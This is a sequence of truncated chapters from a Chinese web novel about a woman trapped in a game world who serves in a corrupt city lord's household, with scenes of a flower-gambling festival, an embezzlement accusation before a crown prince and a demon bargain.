两人边走边打闹,等走到道观时,其他人都已经进去了,郦之清身体弱,已经累得像小狗一样,蹲在地上不走了。 庄非鱼伸手拽她: “小狗狗,咱们都到门口了,你倒是进去再歇呀。” “不行不行,我真的一步都走不动了。”郦之清连连摆手,捂住肚子,满脸通红直喘气。 “那我先进去了,你一个人在这赖着吧。”庄非鱼佯装要走,吓得郦之清赶忙抱紧她的腰。 “我不准,你让我再缓缓,一炷香,就一炷香!” 郦之清可怜兮兮的,显得庄非鱼像个不通情理的恶仆。 她俩这样玩惯了,没注意场合。可今天,却引来路见不平拔刀相助的“侠士”。 一个衣着华贵的少爷从轿上下来,听两人打闹之语,顿时厌恶地大喝一声: “给我拿下这等恶仆!” 话音一落,轿后钻出两个身着短打的高壮汉子,一左一右,伸手拧住庄非鱼的胳膊。 庄非鱼只觉得莫名其妙,她扬起头问:“无缘无故你抓我干嘛?” 少爷冷哼一声道:“你这婢子奴大欺主,毫无尊卑,竟敢要挟小姐做事,我今日就替郦家妹妹管教管教。” “她是我的丫鬟,就不劳周家哥哥费心了。”郦之清绷着脸,站到庄非鱼前面,满脸怒火,直视周家少爷。 “分内之事,你我之间不必见外。” 周家少爷用折扇抵着下巴,目光黏腻,将郦之清从头到脚品评一遍。 “就是就是,保不准以后还是一家人呢。”周少的奴仆哄然大笑,嘴里不干不净。 庄非鱼这才明白,原来这个少爷帮忙教训丫鬟是假,借机调戏小女孩才是真实目的。 “该死的恋童癖!” 看着郦之清青涩稚嫩的脸庞,她忍不住骂了出来。 “呦,小辣椒生气了。”周少跳下马车,混浊的目光转移到庄非鱼身上: “少爷我不喜欢耍小性子的姑娘,你若能改最好,改不了的话,本少亲自帮你改。” 他的目光逐渐狠厉。 庄非鱼在心里默喊:“系统,救命!” “本系统不会无条件保护宿主哦。”系统一个闪现,出现在天空,吓得庄非鱼赶紧让它隐身。 “商城有什么增强武力的东西?价格从低往高报!” 她要创死这个傻逼! “为您推荐:一次性防护罩39星币,1小时力大无穷89星币,1小时力大无穷加防护99星币。” 庄非鱼开始纠结了,力大无穷已经够解决问题了,可只加10星币就能拥有防护功能哎。 破烂游戏真会拿 7. 赌花诘辩 《反派,但决定摆烂》全本免费阅读 到了厢房,黄氏没有追究她俩玩闹错过时辰的意思,一手拉着郦之清,一手拉着庄非鱼,夸她俩会选时间。 “谁有你们的福气,正正好碰上殿下。”她笑语盈盈地说。 这下,庄非鱼想和丫鬟们混在一起都不能了,黄氏俨然将她当做女儿看待,走哪都带着她,就差当场认亲了。 以往和气的、高傲的、热情的、冷漠的奴仆们,纷纷换了一副面孔,用极谄媚恭敬的语气和她说话。她眼珠一转,奴仆就知道她饿了还是渴了,不等她开口,就准备地好好的。 阿谀谄媚,前倨后恭,权势如此可怖。 一瞬间,她想起几乎要还给初中老师的历史常识: 我国古代是封建专制制度,国家最高权力掌握在封建君主手里…… 直到今日,庄非鱼才对“封建专制”有了真实的认知。 受不了奉承的她,借口自己不舒服,向郦之清使了个眼色,拉着她逃到外面,四处闲逛。 弗玉观准备的活动倒是丰富,除了固定的祭神祈福外,还有歌舞百戏、射箭摔跤。最有意思的,是神像前的赌花台。 郦之清已经玩疯了,她拉着庄非鱼,向箱中投入十文钱,就有道童过来问: “两位善信选大还是选小?” “选大。”“选小。” 道童拿出两只骰子,一人递了一个。 庄非鱼摇一下,凑近去听,恨不得用耳朵听出点数大小。郦之清则不停默念“昊天在上,保佑我一举夺魁,要是您觉得有些困难,至少也要保佑我比小鱼的花美。” 骰子开盘,庄非鱼选的是大,摇出来个五,郦之清选的是小,摇出来个六。 “啊啊啊啊啊!我又选错了!”郦之清满脸愤恨,握拳捶桌。 庄非鱼则开心地跑过去,在黑布罩住的盒子旁转来转去,最后拍板: “我要第三朵花。” 道童清脆答应,依次数过去,拿出了一朵……粉色的喇叭花。 庄非鱼的表情凝固了,笑容转移到郦之清脸上。 “我不信,再来!” 两个不信邪的姑娘撸起袖子,连赌十几把,直到郦之宁找过来,一见两人花篮中的喇叭花、狗尾巴花,笑得前仰后伏。 “天呐,一朵漂亮的都没有,得有多不受神明喜欢的人,才会这么倒霉?” 她伸出两指,嫌弃地捡起花朵,又扔回去,几乎笑出眼泪。 笑话我们?你的运气不一定好到哪里去呢! 郦之清不忿,揽过郦之宁的肩膀,按她到花桌面前: “来,你试试。” “试试就试试,我选小。”郦之宁推开她,随手给道童扔了一锭银子,拿起骰子一摇,3点。 她指着桌子末尾道:“我要最后一个。” 道童脆生生一应,蹲下身捧出一个小盒子: “这是您的花。” 什么花要用巴掌大的盒子装? 郦之宁心里已经预感不对,但还是打开盒子,里面是一朵…… “棉花?哈哈哈哈哈哈……”郦之清狂笑,周围仆从散客见了也忍不住大笑,羞得郦之宁满脸通红。 “这次不算,再来!” 郦之宁一跺脚,拿起骰子嘴里默念。 庄非鱼默默凑近,偷偷倾听。 她好像叫了声“九公主”,说什么“帮我夺魁”,骰子落下,等待了好一会儿,才选择了第二十六朵花。 “你等着看吧,我必定是魁首!”郦之宁得意地瞥了郦之清一眼,示意道童拿花。 道童蹲下身,好一会儿,才从里面捧出一盆鲜红如血,萦绕卷曲的花朵。 荔城爱花,却无人见过如此奇艳的花朵。 “恭喜这位贵客,您夺得本次赌花魁首。” 道童大声宣布,人群爆发海啸般的欢呼声。 赌花魁首,道观会奖励其三十两白银,以及馆主亲手所制的平安符一枚。 三十两白银,在此时够普通百姓买上一头耕牛了,可对郦之宁来说,不过是几个月零花钱罢了。 她更看中的,是在郦之清面前炫耀的快乐。 接过奖励,郦之宁当着郦之清的面扔掉平安符,看了眼花盆,径直摘下彼岸花插进发鬓,从郦之清身旁走过,趾高气扬地扶了扶发髻。 郦之清先是目瞪口呆,再是痛心疾首: “如此罕见的花,就叫她这么摘了?!” 荔城人人爱花,郦之清自然无法脱俗。她受城主郦问衡的影响,惯爱侍弄花草,对待每一盆花都像对待朋友一样,关怀备至。 郦之宁却不一样。花朵对她来说只是装饰自己的物件罢了。她自己不会养花,便爱去姐姐院子里,趁姐姐不备,摘下好看的花簪戴到自己头上。 郦之清自然愤怒,却迫于性格,忍气吞声,敢怒不敢言,只能躲在房间里偷偷生气。 见她这爱花如命的模样,庄非鱼笑着安慰道: “不罕见,我们那边管它叫天涯花,小时候见过不少呢。以后我要是再见到了,给你送十盆过来。” “这是你说的哦,一言为定,不许反悔。” “一言为定。” 庄非鱼伸出右手,和她一击掌,才算把她哄好。 * 弗玉山今日盛景,离不开郦问衡的苦心经营。 但这并不算什么,每个地方官都会如此逢迎。 他知道,歌舞游戏、地方风俗也许能吸引一个二十岁的青年,却无法打动国家的下一任统治者。 听闻太子未被废黜之前,好诘辩。皇帝极爱独子,命人在太学门前建造争鸣台,天下百姓尽可上前议政,不论男女老少。 殿下每天都会去争鸣台与人辩论,辩才无阂,未尝一败。 今日,他广邀荔城才俊,要在太子面前重现争鸣台盛景。 庄非鱼和郦之清没玩多久,就被黄氏差人叫到争鸣台前。到了以后,发现太子殿下坐在首位,荔城大半官员豪族随侍左右。 两人对视一眼,低头噤声细步,装出一副闺阁女子的做派,缓步走到黄氏身旁坐好。 争鸣台上辩得热火朝天,庄非鱼定睛一看,其中一人竟是黄阶平——郦之清爱慕的那位表哥。 表哥身着青衣 8. 程家惨案 《反派,但决定摆烂》全本免费阅读 庄非鱼一身反骨,惹得豪强大户厌恶。郦问衡恨不得当场处死她,可碍于太子那两眼,只能按下不表。 争鸣台唇枪舌战、你来我往,太子却神情莫辨、未评一言。郦问衡不知是他爱好变了,还是荔城才俊没有一个能入其青眼。 没一会儿,太子起身离席,黄氏连忙叫郦之清和郦之宁随侍左右,庄非鱼只好跟在后面,看着太子四处悠游。 北山鄢容貌俊美,清贵凌冽,所到之处无不屏息惊叹,有些大胆的姑娘捂着脸,将花赌来掷到他面前,害羞跑掉。 他倒也不生气,温文尔雅的样子,姑娘们越发大胆,有一个不慎将花掷到他衣袍上,黑甲卫拔刀欲治罪,也被他制止了。 走到赌花台,听观主讲解赌花之法时,人群中突然冲出一个疯女人,抱着襁褓跪在北山鄢面前。 “民妇状告城主郦问衡侵吞赈灾粮,屯田蓄奴,致百姓家破人亡。” 疯妇神色癫狂,磕头如捣,没一会儿就磕出血痕。 郦问衡勃然大怒,挡在北山鄢面前疾声怒斥: “荔城二十年内都没遭过灾,我何时侵吞过灾粮?来人,把这个疯子叉出去!” 北山鄢面色一冷,两名侍卫亮刀,无声挥退郦问衡的动作。 “臣一时失态,请主子恕罪。”郦问衡不甘地后退两步,面带惭色。 “细细道来。”北山鄢沉声道。 女人抬手抹了把脸,捋顺头发,露出清秀貌美的面容来。她打开襁褓,里面包了几个泛黄的账本。 “禀大人,民妇本是程家寨寨主程元曹的女儿。两年前,鄢州水灾,朝廷拨的赈灾粮从荔城经过,郦问衡便打上粮食的主意。他遣人找我父商议,等这批粮食进入程家寨附近,就和程家寨联手拿下这笔赈灾粮。” “我父虽是土匪,可也是土生土长的鄢州汉子,他一口回绝郦问衡。郦问衡怕事情败露,调集兵力连夜剿匪,灭我程家满门。” 女子有些哽咽,她翻开账本,拿出书信,双手呈上。 “这就是郦问衡和我父的书信来往。灭程家满门后,他的兵卒伪装成土匪,等粮食一出沧州,便打着程家寨的名义杀人夺粮,到鄢州高价卖出,再低价买田。鄢州一切由郦问衡的远房堂侄郦昶主事,郦昶在鄢州化名李昶,我包裹里有他卖粮屯田的账本。” “大胆刁妇,你拿个假账本妄图糊弄大人?” 郦问衡厉声喝斥,面向太子跪下,满脸愤然: “大人,臣冤枉啊!微臣素来为人刚直,不知暗地里得罪了谁,在大人面前如此诬告。” 他深深顿首,借余光瞥了一眼妇人,眼神冰冷至极。 他的管家见状,立刻大声开口: “此女子倒是有些面熟,小人似乎在哪里见过。小人前几日去青楼楚馆,陪侍的女子似乎……” “莫非是钱没给够,怠慢了人家?”郦问衡的随从接上一句。 此话一出,围观男人哄堂大笑,带上几分心照不宣的暧昧下流。 攻击女人最好的办法就是将她打成□□。 女人成了□□,就是这个世界上最虚伪、最狡诈的人物了。□□嘴里没一句真话,告的状,又怎么可能是真的? 让女人变成□□也很简单,随便一个男子在大庭广众下造上几句谣,说上几句下流话,围观男人自会帮你宣传。不消几日,这个女人就被钉在耻辱柱上永世不得翻身了。 郦问衡的侍从深谙此道。 他们知道,流传最迅速、最广泛的永远是男女那点事。 城主侵吞赈灾粮,远不如城主管家嫖妓没给够钱有话题度。 几个侍从三言两语转移话题,那妇人却陷入无法自证贞洁的漩涡。她心中绝望至极,癫狂地扑向郦问衡,甲士连忙拦住,两三下制服女子,将她踩在地上。 女子满身灰垢,披头散发,双目血红瞪着郦问衡,嘴里嘶喊: “郦问衡,你个畜生,你不是人,程家寨五百口人都在地府看着你,等你死后吃你肉喝你血!” 见她疯狂起来,郦问衡心下一定,无奈地叹息一声: “大人,这分明就是个疯子,疯子的话怎么能信呢。” “是城主侵吞灾粮,还是疯妇诬告,等调查清楚,吾自会给百姓一个交代。” 北山鄢似笑非笑,望了一眼郦问衡,又垂眸看了一眼疯女人,吩咐黑甲卫: “带走。” 郦问衡神色慌乱一瞬,又很快平静下来。他两手加额,对太子离去的方向深深叩首: “恭送大人。” 一场盛大的节日,以繁华熙攘开场,却虎头蛇尾,草草落幕。 郦问衡回府后,黄氏给他换了一身干净衣服,递给他茶水时,郦问衡双手颤抖,几乎接不稳杯子。 “殿下回来的时候,还夸赞宁娘鬓间的花美呢。”黄氏握上他的手,给他力量。 “当真?”郦问衡希冀地抬头,眼神又沉重地落下,“让三姐晚上备些甜点,给殿下端过去。” “唯。”黄氏重新端起清茶,送到他手边。 郦问衡拿住茶杯,正要往唇边送,突然想起什么,猛地放下杯子,回握黄氏的手,眼神爆出亮光: “你将殿下夸赞宁娘的话,原原本本重复一遍!” 黄氏有些不解,但还是照说: “殿下回府看见三姐,问‘你鬓间的,可是彼岸花?’ 三姐答‘应当是。’ 殿下说‘彼岸是接引生死的花朵,花甚美,寓意也好。’ 说罢就离开了。” “接引生死……”郦问衡咀嚼几遍,猛地站起身来,对黄氏道:“这话莫不是说给我听的?” 黄氏满脸疑惑:“这……妾身不解。” “接引生死,是不是殿下暗示我投靠于他?依附则生,悖逆则死,端看我如何选择。” “家主如此说来,倒也有些道理。”黄氏点点头。 郦问衡越发肯定自己的想法,转身就要去求见太子。 到了玄都苑,太子詹事似笑非笑地瞟了他一眼: “在主子面前闹出这等笑话,啧啧啧,郦大人好手段。” “是卑职一时疏漏,竟叫他人钻了空子,还望大人美言几句……” 郦问衡心中一跳,连忙掏出小黄鱼,奉承太子詹事。 太子詹事年岁不大,收钱倒是熟练。他接过小黄鱼,塞进袖口,进去禀报一声,便引郦问衡进去。 郦问衡到后,看见太子正把玩着一枚清凌如玉的火折子。 他不急申辩,反而笑言:“我荔城有一匠人,所制火折能保存半年不灭,大人若是喜爱……” 北山鄢唇角带笑,睨视他一眼。 太子詹事随后笑骂: “睁大你的狗眼看清楚,这可不是凡间之物。” “这……”郦问衡懵了一瞬,试探发问:“莫不是车城风禾上仙留下的至宝?” “还算有见识。”北山鄢随手一掷,火折子咕噜噜滚下桌,吓得随侍赶忙去接。 郦问衡心中一颤,禁不住暗骂: 天杀的车城城主,为了献媚太子连镇城之 9. 入魔勾引 《反派,但决定摆烂》全本免费阅读 回到郦府,郦之清说她玩了一天,实在疲惫,准备早早歇下,让庄非鱼吃完饭独自回房,务必不要打扰自己休息。 庄非鱼照做了。 只是她心里惦记着任务,吃完饭后没有回海棠苑,打算偷偷蹲守在郦之宁房顶,查探她的秘密。可刚爬上墙,就看见郦之清从郦之宁的房间里走出去。 等等,郦之清不是说自己困了,要早早歇息吗?怎么会从郦之宁院子里出来? 庄非鱼有些疑惑,她下意识压低身子,目送郦之清回到海棠苑。过了一会儿,又看见郦之宁打扮得容色摄人,支开丫鬟,独自一人端着点心,出了院门。 大晚上的,她出去做什么? 肯定有问题! 庄非鱼偷偷跟在她身后,眼看郦之宁走到玄都苑。 玄都苑戒备森严,郦之宁刚一靠近,守门侍卫拔刀将她拦住,厉声问她所为何事? 郦之宁也不回答,只是环视左右,叫了声“公主”。 刹那间,她触电似的打了一个寒颤,紧接着那些侍卫如同中了迷药一样,悄无声息地倒下。 难道郦之宁入了魔? 不对,她一直在叫“公主”,难道她口中的公主才是魔,引诱郦之宁为之做事? 那她找太子做什么? 难道是为了对太子殿下不利? 理智告诉庄非鱼,她现在应该立刻回去,上报除魔司,可想起太子那张绝代风华的脸……万一“公主”要杀了他怎么办? 看了看余额,还有9901星币和1小时力大无穷技能,足够自保了。咬了咬牙,庄非鱼偷偷跟了上去。 月光融融,竹影交错,北山鄢坐在庭院石凳,备了一壶清酒、两只小杯。 郦之宁捧着点心进来,夹着嗓子叫了一声“殿下”,娇娇弱弱地一福身,含羞带怯抬眼望他。 “郦姑娘前来……所为何事?”北山鄢执起酒壶,慢悠悠倒了一杯清酒,放到郦之宁面前。 “奴家此来,是替我父求情。” 不等北山鄢免礼,郦之宁便自顾自坐了下来,一手托着腮,一手摇晃杯子,娇媚地看着他。 月光下,郦之宁的美貌摄人心魄,尤其是丹凤眼尾那抹泪痣,让她平白多了一丝清媚。 泪痣?庄非鱼悚然一惊。 郦之宁哪有泪痣? 全府上下只有郦之清是丹凤眼,有泪痣。 这个郦之宁,是怎么把阿清的眼睛弄走的? 庄非鱼暗自生气,却见北山鄢轻轻一笑,笑容却不达眼底。 “你父侵吞灾粮,害了不知多少条性命,你拿什么替他求情?” 郦之宁没听懂他话语中的讽刺,只是痴迷地望着他,拈起一枚桃花酥来,撒娇似的递到他唇边。 “拿我自己,够不够?” 北山鄢定定望着她,眼神沉郁幽暗,像一池足以溺死人的潭水。 良久,他粲然一笑,一字一句回道:“那就拿你,赔给我吧。” 月白洒落,郦之宁鬓间的彼岸花鲜红如血。 今日是十五,头顶月亮圆如玉盘,可惜这是游戏里的月亮,没有丝毫阴影,看久了有些可怖。 秋将入冬,周遭冷极了,眼见玄都苑里听不到更多情报,庄非鱼打了个寒颤,裹紧衣服,悄悄离开。 一回海棠苑,她直奔郦之清的卧房。房间的灯点得极亮,远远就能看到。 “郦之清,开门!”她黑着脸,梆梆拍了几下。 凳子倏地发出刺耳的声音,房间里的灯应声全灭,郦之清心虚的声音透出来: “哎呀,我要睡啦,你明天再来找我吧。” “你睡个小饼干啊你睡,灯亮得都能耕地了,快开门!” 庄非鱼嗤笑一声,继续拍门。 “行行行,我出来了。” 过了好一会儿,郦之清裹着斗篷,将自己的脸掩藏在帽子里,佯装虚弱地开出一条门缝。庄非鱼不管三七二十一,一把拉开门,掀起她的帽子。 “哼,无礼!”郦之清气得跳脚,却在庄非鱼冰冷的目光下噤声。 “她威胁你了?” 庄非鱼抬手,抚摸郦之清睫毛下的阴影。 “没有,是我自愿的。” 郦之清避了避她的目光,像小孩子做错事的心虚。 “自愿换双难看的眼睛?” “难看吗?挺好看的呀,新的风格……” 庄非鱼直勾勾盯着她,郦之清沉默良久,坦言道: “我不想做侍妾,太子的也不行。我想当一个堂堂正正的正头娘子,而不是像我娘一样,在人前,连亲生女儿都不能称她为母亲。” “那也不必用眼睛来换啊。” 晚秋寒冷,满地的花草凝上冰霜,庄非鱼望着她的眼睛。那双独特的、绝美的丹凤眼,被不知从哪来的、稀松平常的杏眼代替。 “我爹会同意吗?”郦之清走到月光下,摘落晚秋枯萎的凌霄花,拿到手边细细欣赏,看着看着,眼泪盈了出来。 “对我爹来说,我们这些女儿就是他养的花儿,等哪日卖个好价格。我郦之清哪怕死,也绝不能由他人掌控命运。” 郦之清的眼睛里是稚嫩的不甘,透过她的眼睛,庄非鱼似乎看到那傲雪凌霜的灵魂。 “跟我走吧,”她说,“跟我去盛京,那里就算不能让你一展所长,至少也能让你凭借自己的双手活下去。” “谢谢你,小鱼,你让我看到女子活在世上的另一种可能。”郦之清噙着泪水,转身抱住她。 “不过不必了,我要寻找自己的可能。” 她松开手,将凌霄花放到庄非鱼手里。 * 盛京除魔司斥候部,三个人关上院门,无聊地坐在草地上打扑克。 打了一会儿,叼着狗尾巴草的少年将扑克一扔,百无聊赖地躺在地上: “唉,小鱼不在,三缺一实在没法打!” “翟流云,输就是输,你扔什么牌?”苏巧巧咬牙切齿上来揍他。 “我给钱,给钱,你别掐脸……” 李念儿不管他俩打闹,眉头紧皱,不断算牌推演,嘴里喃喃自语: “不应该啊,怎么算都是我赢,为何是苏巧巧赢了?” “那是本姑娘赌神在世,赌王之王听过没,在下不才……”苏巧巧扒着李念儿炫耀,却见她目光沉凝,遥遥望着天空。 “信使 10. 新的线索 《反派,但决定摆烂》全本免费阅读 接连几日,无事发生。 唯独郦之宁每天晚上都去玄都苑勾引太子,庄非鱼跟着她,从一开始的高度警惕,到后面的习以为常。 甚至有些惫懒。 郦之宁勾引人的手段太差了,来来回回就是眼神挑逗、言语调戏,还动不动就脸红。太子也不主动,一副若即若离、忽冷忽热的样子。 秋天快要过去了,两人连肢体接触都没有一下,这要是个偶像剧,哪怕主角颜值逆天,没有任何剧情进展,观众也看不下去。 但这是打工,她只能认命追下去。 算算时间,除魔司的回信这两天就能到,庄非鱼正好给自己放个假。 吃完早饭,她绕着海棠苑散步,享受这难得的摸鱼时间,却见小水一个人蹲在树下,戳蚂蚁窝玩。 “小水,你怎么一个人玩呀?”庄非鱼蹲到她面前,好奇问她。 小水哼了一声,背过身去,闷闷不乐。 “我陪你玩好不好?”庄非鱼绕过去,做鬼脸逗她。 “不要!”小水抬起头瞪她,“坏人,你来了以后小姐都不要我了。” 庄非鱼没想到她会这么说,愣了一下。 沉默了一会儿,庄非鱼伸手摸了摸她的头顶,柔声道: “我很快就会走的,你和阿清才是扶持一辈子的朋友。” 听她这么说,小水开心起来了。 “很快是多快?今晚吗?” “等荔城下第一场雪的时候……喂,你这么恨我啊?” 她伸手捏住小水胖嘟嘟的脸颊。 “剩下的日子,你要对我好点,要不然我就不走了!” “啊?”小水紧张起来了。 她翻着口袋袖子,掏出珍视的一把铜钱,可怜巴巴地递出来: “我把所有零花钱都给你,你一定要走哦。” 庄非鱼伸出手全部抓走,慢慢数着,小水看着自己舍不得的小钱钱归了坏女人,眼圈都红了。 “一、二、三、四、五……整整五个大钱呢,小富婆。” 见小水不舍的眼神,她笑着颠了颠铜钱,又塞回小水腰包。 “把钱装好,小心丢了。” 两人笑闹之际,系统突然蹦跶出来,绿色圆球上面一个大大的红色箭头。 【嘀……检测到宿主即将遭遇生命危险,是否开启防护?】 庄非鱼抬头,看见一个鸽子直直俯冲下来。 她一把扑倒小水,躲开鸽子,鸽子头朝下撞进泥里,冒出一阵黑烟。 小水懵懵懂懂地指着地下说:“是鸽子。” 又抬手指着系统问:“这是什么?” “可能是一种鸟。”庄非鱼一本正经地胡说八道,转头嫌弃系统: “以后能不能隐身了再出现?” 【嘀……开启隐身功能。】 系统一秒消失,徒留小水咬着嘴唇陷入思考。 “会说话的鸟呢?怎么不见了?”她问。 “可能飞走了。” 庄非鱼随口搪塞她,拔出陷进地里的鸽子。 “不和你玩了,姐姐要回去睡觉。”她拍了拍小水的脑袋,拎着鸽子快步走回房间。 关门、点烛、按下鸽子右眼。 鸽子嘴巴一张一合,里面传出苏巧巧的声音: “情况收到了,已向上级申请增派人手。你先小心苟着,以自身安全为重,再等半个月,如果半个月后……” 不等庄非鱼听完,噗呲一声,鸽子断线,再也发不出声音。 “半个月?半个月后干什么?” “让我回去?还是你们过来?” “鸽鸽你说句话呀鸽鸽!” 庄非鱼焦躁地摇晃鸽子,鸽子却紧闭嘴巴一言不发,像一只没有感情的渣男。 庄非鱼不死心地拧开鸽子屁股,凭记忆重新插拔里面的电线,接连几次下来,鸽子彻底散架了。 哦豁,完蛋! 她难受地砸了砸脑袋,双眼无神瘫倒在地上,发出灵魂质问: 我是谁? 我来这里干什么? 我以后的路该怎么走? * 同一时间,郦问衡正在书房挥毫泼墨,二老爷郦问道突然闯入。 “大哥,情况有变!” 郦问道衣冠不整,满头大汗,跌跌撞撞跑进来。 “把衣服穿好,邋里邋遢像什么样?”郦问衡怒斥他。 郦问道胡乱拢了一下衣领,急切地抓住郦问衡的手: “程元曹的女儿,到了王呈颐手里。” “沧州刺史王呈颐?” 郦问衡身形一颤,险些抓不住毛笔。 墨汁星星洒洒,在纸上滴出无数黑点,毁了这幅颜筋柳骨的好字。郦问衡捏紧笔杆,惊怒至极反而愈显平静。 “你把事情原原本本给我讲一遍。”他盯着弟弟,从牙缝里挤出这句话。 郦问道大喝一口茶水,瘫坐在椅子上喘了几口气,疾声道: “探子传来消息说,黑甲兵进了沧州首邑,恰好撞上王呈颐别驾。王呈颐见首邑有陌生兵马,令人拦住他们,询问事由,问清楚后,便将程元曹的女儿扣下了。” “狗拿耗子,多管闲事!”郦问衡狠狠摔下毛笔,溅得满地墨汁。 郦问道又灌了几口茶水,一抹嘴巴,担忧地问: “王呈颐寒门出身,平日便对我们颇有微词。现下叫他拿住这个把柄……这该如何是好?” 郦问衡深呼吸几下,平复心情,从笔架上拿出一支新毛笔,铺开崭新的信纸,上书: “郑兄尊鉴,弟其尧……” 郦问道探头去看,看了几句,恍然大悟: “兄长这是给州牧写信,让他拦下王呈颐?也对,那批赈灾粮他获益最多,岂能叫他独善其身?” 郦问衡写好后,吹了吹墨水,轻折三下装进特制信封里,递给郦问道: “此信,你亲手交到州牧手中,要尽快。另外再派些游侠,想办法除掉王呈颐。” 他双手负于身后,目光冰冷,郦问道连忙点头,唯唯诺诺地离开。 * 夜晚,庄非鱼和郦之清穿上熟悉的深衣,避开众人,悄悄探入赵大房间。 赵大和马夫刘二住在一间房里,两人都是退伍下来的兵中驭手,见惯了生死。赵大死后,刘二倒也不怕,照常住着,庄非鱼一直找不到机会查探。 直到今日,刘二有事请假,她才有机会一探究竟。 马夫房靠近马厩,两人又不爱干净,进门一股酸臭之气扑面而来。 “府里还有这么脏的地方?” 郦之清捏紧鼻子,嫌弃又痛苦。 “你猜猜你骑的小红马,多久洗一次澡?” 庄非鱼揶揄两句,气得郦之清上手锤她。 赵大的房间东西不多,仅一床一被、一桌一椅、两个箱子而已。庄非鱼一眼扫过去,看不出什么异常。 她翻了翻床被,打开箱子,里面就是一些衣服鞋子。 拿出中衣,她上手比划了两下,问郦之清: “你看这衣服,和芸娘做的尺寸一样吗?” 郦之清吹了吹火折子,凑近仔细看,半晌点了点头: “应当就是芸娘所做,它的针脚收尾,是芸娘的手法。” 郦之清指着衣角给庄非鱼看,庄非鱼看了半天,愣是没看出来哪里特殊。 但衣服长短大小,和在芸娘房里翻出来的男人中衣一模一样。 郦老爷身形偏瘦、较高,赵大身形魁梧、较矮, 13. 杀人游戏 《反派,但决定摆烂》全本免费阅读 画面上是两军对垒。魔军浑身漆黑看不到脸,整整齐齐结成方队,散发着凝为实质的黑煞之气;人类士兵则披甲上阵,气势远逊对方。 魔军首领是一个红衣妩媚的女人,她手里提着身穿黄袍、肥硕不堪的老皇帝。 女人眼神讥笑,有恃无恐: “祁煊,你爹的命就捏在我手里,识相的,速将辽城血肉统统送入魔界,否则……” 她狠狠一捏,老皇帝发出惨叫: “祁煊,吾儿,快把辽城百姓送到魔界,送给这位女将军,你救救朕,朕不想死啊!” 祁煊身披银甲,雄姿英发,昂首立于马上,眼神却冰冷无比。 他挽弓射箭,接连三箭,女将军扬马侧身去挡,两箭射空,第三箭直中老皇帝的眉心。 老皇帝瞪大眼睛,慢慢滑下马,溅起满地黄土。他侧头,眼睛凝望着祁煊,似乎在审判儿子的无情。 “我邵国……” 祁煊先是低咽,后昂首挺立,一字一句,犹如刀刻: “我邵国没有战败的俘虏,只有战死的君王。” 他高举弩弓,紧握弓弦,手掌割破也浑然不觉,只用鹰般锐利的眼神盯着魔军,疾声大吼: “儿郎们,随我杀!” 疯妹收回手账本,围观众人磕着瓜子,啧啧称奇。 “那是他亲爹?” “够狠的呀。” “他好冷酷,怎么办~人家更喜欢他了。”淼淼捧着脸,表情愈发梦幻。 庄非鱼先是无语几秒,转念又一想: 淼淼是玩家,祁煊不过是个NPC,谁玩弄谁还不一定呢。 这时,她想起跟自己一起穿越而来的地球小伙伴,便放下瓜子,怀着万分之一的渺茫希望,探身问众人: “你们认不认识一个叫元宵的程序员,或者是汤圆、David?” 几个小孩愣了几秒,纷纷摇头道: “不认识。” “我们只是玩家,怎么会认识程序员?” “不是,游戏里有程序员?” “谁这么土还用英文啊?” 几人七嘴八舌反驳,唯有黎颂放下酒杯,歪头道: “是ID还是真名?ID的话,倒是可以查查。” “是真名。”庄非鱼答道。 “真名查不了。”黎颂摇摇头。 庄非鱼有些失望,但她本就没报希望,便放下话题,继续问道: “听说《天神》里困了几百个玩家,其他人呢?” 迪厅满打满算不到一百人。 “大部分都在这里。”布奇扬了扬脸,“迪厅旁边还有大电音寺、瑶池汤浴、昆仑雪场……” “大部分都在昊天那里吧。”黎颂摸了摸下巴。 “昊天?是熙国信奉的昊天大帝?”庄非鱼立刻反应过来。 她来郦府有多少天,就跪了多少次昊天大帝,实在记忆深刻。 “没错。”黎颂苦恼地蹙了蹙眉,“困在游戏后,我和昊天都想要熙国,就打了一架,我输了。” “这么厉害!”庄非鱼乍舌。 黎颂是黎世集团的独生女,满级氪金玩家,昊天能打过她,足见实力强横。 “昊天是他玩的角色吧,他真名是什么?”庄非鱼继续问。 “不知道。”众人又是齐齐摇头。 “他说我们是小学生,不跟我们玩。”淼淼委屈地嘟了嘟嘴。 “你们哪像小学生呀。”庄非鱼笑了起来。 哪家小学生杀人蹦迪顺手拈来。 “还是你懂!”淼淼开心地握住庄非鱼的手,“我们明明都上初中了。” “初中?” 庄非鱼呆了呆。 “是啊,我和黎颂都是初二,疯妹上初三了,布奇才初一……” 淼淼掰着指头一个个介绍,介绍完期待地看着庄非鱼: “你不会觉得我们学历低吧?” “怎么会?”庄非鱼义正言辞道,“反正都比我高。” 此话一出,大家都呆了。 “我小学刚毕业。”庄非鱼召唤出系统,拿出她的受教育经历电子证书,毕业年份就在上个月。 “怎会如此?”黎颂有些不敢相信。 “忘说了,我是星际偷渡客,去年刚过来。”庄非鱼收回毕业证。 她这种穿越者一般被称为星际偷渡客,必须拿到本科学历后才能找工作。学历必须一级一级向上考,进入游戏前,庄非鱼刚参加完小学生毕业考试。 “上学有啥意思,不如在游戏里嗨。”黎颂觉得她是自己人,高兴地站起来拉她,“走,去蹦迪。” 庄非鱼无奈跟着她们瞎玩一通,天快亮时去卡座躺了一会儿,睁开眼,迪厅已经快没人了。 卡座上七荤八素躺了一堆,各个睡得香甜,黎颂站在她面前,吐出两个字: “终端。” 庄非鱼迷糊了一下,才想起她要的是联系爸爸的终端,边打哈欠边递了过去。 黎颂走出迪厅,立在云端之上,俯视蚂蚁大小的芸芸众生。她看了好一会儿,才打开终端,输入黎世集团总裁的号码,拨了过去。 电话拨通,对面是不苟言笑的黎世集团总裁。 “爸。” 她冷着脸,半天才喊了一句。 黎世总裁和黎颂如出一辙的冷漠,他见到困在游戏里的女儿,第一句不是关心,而是怒斥: “你又在蹦迪?跟一些不三不四的狐朋狗友!” “关你什么事?” 黎颂火气一下上来了。 “关我什么事?”黎世总裁一下气笑了,“你对爸爸就是这么说话的?” “什么爸爸,你算什么爸爸,你管过我几次啊?我家长会都是梁叔开的。” “好啊,是谁一天供你吃喝给你钱,让你学习你都不愿意,你还能做什么,躺在游戏里一辈子?” 黎颂大喘几口气,红着眼眶咬着牙: “我宁愿死在游戏里。” 说罢挂断通话,狠狠往下面一扔。 庄非鱼惊呆了,她连忙跑过去,低下头去看,终端已经消失在云端,找不见踪影。 “这是我的终端,唯一可以联系外面的!”她咬牙切齿。 真是钱难赚气难受,这位小公主的脾气也太暴躁了。 “我还你十个装备总行了吧。”黎颂翻了个白眼,打开商城装备。 